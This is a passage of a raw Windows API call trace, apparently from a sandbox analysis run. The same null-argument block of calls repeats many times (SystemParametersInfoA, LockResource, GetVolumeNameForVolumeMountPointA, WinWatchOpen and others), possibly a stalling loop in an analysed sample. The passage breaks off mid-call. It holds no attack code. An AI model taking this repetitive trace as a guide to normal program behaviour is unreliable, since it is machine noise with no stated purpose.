SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.504] LockResource (hResData=0x0) returned 0x0 [0140.504] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.504] WinWatchNotify () returned 0x0 [0140.504] timeGetTime () returned 0x11385d1 [0140.504] WinWatchOpen () returned 0x62eaf0 [0140.504] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.504] LockResource (hResData=0x0) returned 0x0 [0140.504] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.504] WinWatchNotify () returned 0x0 [0140.504] timeGetTime () returned 0x11385d1 [0140.504] WinWatchOpen () returned 0x62eb10 [0140.504] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.504] LockResource (hResData=0x0) returned 0x0 [0140.504] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.504] WinWatchNotify () returned 0x0 [0140.504] timeGetTime () returned 0x11385d2 [0140.505] WinWatchOpen () returned 0x62eb30 [0140.505] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.505] LockResource (hResData=0x0) returned 0x0 [0140.505] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.505] WinWatchNotify () returned 0x0 [0140.505] timeGetTime () returned 0x11385d2 [0140.505] WinWatchOpen () returned 0x62eb50 [0140.505] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.505] LockResource (hResData=0x0) returned 0x0 [0140.505] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.505] WinWatchNotify () returned 0x0 [0140.505] timeGetTime () returned 0x11385d2 [0140.505] WinWatchOpen () returned 0x62eb70 [0140.505] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.505] LockResource (hResData=0x0) returned 0x0 [0140.505] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.505] WinWatchNotify () returned 0x0 [0140.505] timeGetTime () returned 0x11385d2 [0140.505] WinWatchOpen () returned 0x62eb90 [0140.505] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.505] LockResource (hResData=0x0) returned 0x0 [0140.505] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.505] WinWatchNotify () returned 0x0 [0140.505] timeGetTime () returned 0x11385d2 [0140.505] WinWatchOpen () returned 0x62ebb0 [0140.505] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.505] LockResource (hResData=0x0) returned 0x0 [0140.505] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.505] WinWatchNotify () returned 0x0 [0140.505] timeGetTime () returned 0x11385d2 [0140.505] WinWatchOpen () returned 0x62ebd0 [0140.505] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.505] LockResource (hResData=0x0) returned 0x0 [0140.505] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.505] WinWatchNotify () returned 0x0 [0140.505] timeGetTime () returned 0x11385d2 [0140.505] WinWatchOpen () returned 0x62ebf0 [0140.505] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.505] LockResource (hResData=0x0) returned 0x0 [0140.505] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.505] WinWatchNotify () returned 0x0 [0140.505] timeGetTime () returned 0x11385d3 [0140.505] WinWatchOpen () returned 0x62ec10 [0140.506] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.506] LockResource (hResData=0x0) returned 0x0 [0140.506] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.506] WinWatchNotify () returned 0x0 [0140.506] timeGetTime () returned 0x11385d3 [0140.506] WinWatchOpen () returned 0x62ec30 [0140.506] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.506] LockResource (hResData=0x0) returned 0x0 [0140.506] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.506] WinWatchNotify () returned 0x0 [0140.506] timeGetTime () returned 0x11385d3 [0140.506] WinWatchOpen () returned 0x62ec50 [0140.506] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.506] LockResource (hResData=0x0) returned 0x0 [0140.506] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.506] WinWatchNotify () returned 0x0 [0140.506] timeGetTime () returned 0x11385d3 [0140.506] WinWatchOpen () returned 0x62ec70 [0140.506] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.506] LockResource (hResData=0x0) returned 0x0 [0140.506] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.506] WinWatchNotify () returned 0x0 [0140.506] timeGetTime () returned 0x11385d3 [0140.506] WinWatchOpen () returned 0x62ec90 [0140.506] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.506] LockResource (hResData=0x0) returned 0x0 [0140.506] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.506] WinWatchNotify () returned 0x0 [0140.506] timeGetTime () returned 0x11385d3 [0140.506] WinWatchOpen () returned 0x6395e0 [0140.506] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.506] LockResource (hResData=0x0) returned 0x0 [0140.506] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.506] WinWatchNotify () returned 0x0 [0140.506] timeGetTime () returned 0x11385d3 [0140.506] WinWatchOpen () returned 0x639600 [0140.506] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.506] LockResource (hResData=0x0) returned 0x0 [0140.506] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.506] WinWatchNotify () returned 0x0 [0140.506] timeGetTime () returned 0x11385d4 [0140.506] WinWatchOpen () returned 0x639620 [0140.507] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.507] LockResource (hResData=0x0) returned 0x0 [0140.507] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.507] WinWatchNotify () returned 0x0 [0140.507] timeGetTime () returned 0x11385d4 [0140.507] WinWatchOpen () returned 0x639640 [0140.507] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.507] LockResource (hResData=0x0) returned 0x0 [0140.507] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.507] WinWatchNotify () returned 0x0 [0140.507] timeGetTime () returned 0x11385d4 [0140.507] WinWatchOpen () returned 0x639660 [0140.507] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.507] LockResource (hResData=0x0) returned 0x0 [0140.507] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.507] WinWatchNotify () returned 0x0 [0140.507] timeGetTime () returned 0x11385d4 [0140.507] WinWatchOpen () returned 0x639680 [0140.507] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.507] LockResource (hResData=0x0) returned 0x0 [0140.507] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.507] WinWatchNotify () returned 0x0 [0140.507] timeGetTime () returned 0x11385d4 [0140.507] WinWatchOpen () returned 0x6396a0 [0140.507] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.507] LockResource (hResData=0x0) returned 0x0 [0140.507] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.507] WinWatchNotify () returned 0x0 [0140.507] timeGetTime () returned 0x11385d4 [0140.507] WinWatchOpen () returned 0x6396c0 [0140.507] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.507] LockResource (hResData=0x0) returned 0x0 [0140.507] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.507] WinWatchNotify () returned 0x0 [0140.507] timeGetTime () returned 0x11385d4 [0140.507] WinWatchOpen () returned 0x6396e0 [0140.507] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.507] LockResource (hResData=0x0) returned 0x0 [0140.507] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.507] WinWatchNotify () returned 0x0 [0140.508] timeGetTime () returned 0x11385d5 [0140.508] WinWatchOpen () returned 0x639700 [0140.508] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.508] LockResource (hResData=0x0) returned 0x0 [0140.508] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.508] WinWatchNotify () returned 0x0 [0140.508] timeGetTime () returned 0x11385d5 [0140.508] WinWatchOpen () returned 0x639720 [0140.508] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.508] LockResource (hResData=0x0) returned 0x0 [0140.508] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.508] WinWatchNotify () returned 0x0 [0140.508] timeGetTime () returned 0x11385d5 [0140.508] WinWatchOpen () returned 0x639740 [0140.508] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.508] LockResource (hResData=0x0) returned 0x0 [0140.508] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.508] WinWatchNotify () returned 0x0 [0140.508] timeGetTime () returned 0x11385d5 [0140.508] WinWatchOpen () returned 0x639760 [0140.508] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.508] LockResource (hResData=0x0) returned 0x0 [0140.508] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.508] WinWatchNotify () returned 0x0 [0140.508] timeGetTime () returned 0x11385d5 [0140.508] WinWatchOpen () returned 0x639780 [0140.508] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.508] LockResource (hResData=0x0) returned 0x0 [0140.508] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.508] WinWatchNotify () returned 0x0 [0140.508] timeGetTime () returned 0x11385d5 [0140.508] WinWatchOpen () returned 0x6397a0 [0140.508] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.508] LockResource (hResData=0x0) returned 0x0 [0140.508] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.508] WinWatchNotify () returned 0x0 [0140.508] timeGetTime () returned 0x11385d5 [0140.508] WinWatchOpen () returned 0x6397c0 [0140.508] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.508] LockResource (hResData=0x0) returned 0x0 [0140.508] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.508] WinWatchNotify () returned 0x0 [0140.509] timeGetTime () returned 0x11385d6 [0140.509] WinWatchOpen () returned 0x6397e0 [0140.509] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.509] LockResource (hResData=0x0) returned 0x0 [0140.509] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.509] WinWatchNotify () returned 0x0 [0140.509] timeGetTime () returned 0x11385d6 [0140.509] WinWatchOpen () returned 0x639800 [0140.509] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.509] LockResource (hResData=0x0) returned 0x0 [0140.509] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.509] WinWatchNotify () returned 0x0 [0140.509] timeGetTime () returned 0x11385d6 [0140.509] WinWatchOpen () returned 0x639820 [0140.509] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.509] LockResource (hResData=0x0) returned 0x0 [0140.509] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.509] WinWatchNotify () returned 0x0 [0140.509] timeGetTime () returned 0x11385d6 [0140.509] WinWatchOpen () returned 0x639840 [0140.509] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.509] LockResource (hResData=0x0) returned 0x0 [0140.509] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.509] WinWatchNotify () returned 0x0 [0140.509] timeGetTime () returned 0x11385d6 [0140.509] WinWatchOpen () returned 0x639860 [0140.509] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.509] LockResource (hResData=0x0) returned 0x0 [0140.509] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.509] WinWatchNotify () returned 0x0 [0140.509] timeGetTime () returned 0x11385d6 [0140.509] WinWatchOpen () returned 0x639880 [0140.509] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.509] LockResource (hResData=0x0) returned 0x0 [0140.509] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.509] WinWatchNotify () returned 0x0 [0140.509] timeGetTime () returned 0x11385d6 [0140.509] WinWatchOpen () returned 0x6398a0 [0140.509] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.509] LockResource (hResData=0x0) returned 0x0 [0140.509] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.509] WinWatchNotify () returned 0x0 [0140.510] timeGetTime () returned 0x11385d7 [0140.510] WinWatchOpen () returned 0x6398c0 [0140.510] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.510] LockResource (hResData=0x0) returned 0x0 [0140.510] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.510] WinWatchNotify () returned 0x0 [0140.510] timeGetTime () returned 0x11385d7 [0140.510] WinWatchOpen () returned 0x6398e0 [0140.510] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.510] LockResource (hResData=0x0) returned 0x0 [0140.510] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.510] WinWatchNotify () returned 0x0 [0140.510] timeGetTime () returned 0x11385d7 [0140.510] WinWatchOpen () returned 0x639900 [0140.510] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.510] LockResource (hResData=0x0) returned 0x0 [0140.510] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.510] WinWatchNotify () returned 0x0 [0140.510] timeGetTime () returned 0x11385d7 [0140.510] WinWatchOpen () returned 0x639920 [0140.510] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.510] LockResource (hResData=0x0) returned 0x0 [0140.510] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.510] WinWatchNotify () returned 0x0 [0140.510] timeGetTime () returned 0x11385d7 [0140.510] WinWatchOpen () returned 0x639940 [0140.510] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.510] LockResource (hResData=0x0) returned 0x0 [0140.510] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.510] WinWatchNotify () returned 0x0 [0140.510] timeGetTime () returned 0x11385d7 [0140.510] WinWatchOpen () returned 0x639960 [0140.510] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.510] LockResource (hResData=0x0) returned 0x0 [0140.510] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.510] WinWatchNotify () returned 0x0 [0140.510] timeGetTime () returned 0x11385d7 [0140.510] WinWatchOpen () returned 0x639980 [0140.510] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.511] LockResource (hResData=0x0) returned 0x0 [0140.511] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.511] WinWatchNotify () returned 0x0 [0140.511] timeGetTime () returned 0x11385d8 [0140.511] WinWatchOpen () returned 0x6399a0 [0140.511] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.511] LockResource (hResData=0x0) returned 0x0 [0140.511] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.511] WinWatchNotify () returned 0x0 [0140.511] timeGetTime () returned 0x11385d8 [0140.511] WinWatchOpen () returned 0x6399c0 [0140.511] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.511] LockResource (hResData=0x0) returned 0x0 [0140.511] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.511] WinWatchNotify () returned 0x0 [0140.511] timeGetTime () returned 0x11385d8 [0140.511] WinWatchOpen () returned 0x6399e0 [0140.511] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.511] LockResource (hResData=0x0) returned 0x0 [0140.511] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.511] WinWatchNotify () returned 0x0 [0140.511] timeGetTime () returned 0x11385d8 [0140.511] WinWatchOpen () returned 0x639a00 [0140.511] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.511] LockResource (hResData=0x0) returned 0x0 [0140.511] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.511] WinWatchNotify () returned 0x0 [0140.511] timeGetTime () returned 0x11385d8 [0140.511] WinWatchOpen () returned 0x639a20 [0140.511] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.511] LockResource (hResData=0x0) returned 0x0 [0140.511] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.511] WinWatchNotify () returned 0x0 [0140.511] timeGetTime () returned 0x11385d8 [0140.511] WinWatchOpen () returned 0x639a40 [0140.511] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.511] LockResource (hResData=0x0) returned 0x0 [0140.511] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.511] WinWatchNotify () returned 0x0 [0140.511] timeGetTime () returned 0x11385d9 [0140.511] WinWatchOpen () returned 0x639a60 [0140.512] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.512] LockResource (hResData=0x0) returned 0x0 [0140.512] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.512] WinWatchNotify () returned 0x0 [0140.512] timeGetTime () returned 0x11385d9 [0140.512] WinWatchOpen () returned 0x639a80 [0140.512] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.512] LockResource (hResData=0x0) returned 0x0 [0140.512] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.512] WinWatchNotify () returned 0x0 [0140.512] timeGetTime () returned 0x11385d9 [0140.512] WinWatchOpen () returned 0x639aa0 [0140.512] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.512] LockResource (hResData=0x0) returned 0x0 [0140.512] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.512] WinWatchNotify () returned 0x0 [0140.512] timeGetTime () returned 0x11385d9 [0140.512] WinWatchOpen () returned 0x639ac0 [0140.512] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.512] LockResource (hResData=0x0) returned 0x0 [0140.512] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.512] WinWatchNotify () returned 0x0 [0140.512] timeGetTime () returned 0x11385d9 [0140.512] WinWatchOpen () returned 0x639ae0 [0140.512] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.512] LockResource (hResData=0x0) returned 0x0 [0140.512] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0140.512] WinWatchNotify () returned 0x0 [0140.512] timeGetTime () returned 0x11385d9 [0140.512] WinWatchOpen () returned 0x639b00 [0140.512] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0140.512] LockResource (hResData=0x0) returned 0x0 [0140.512] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", 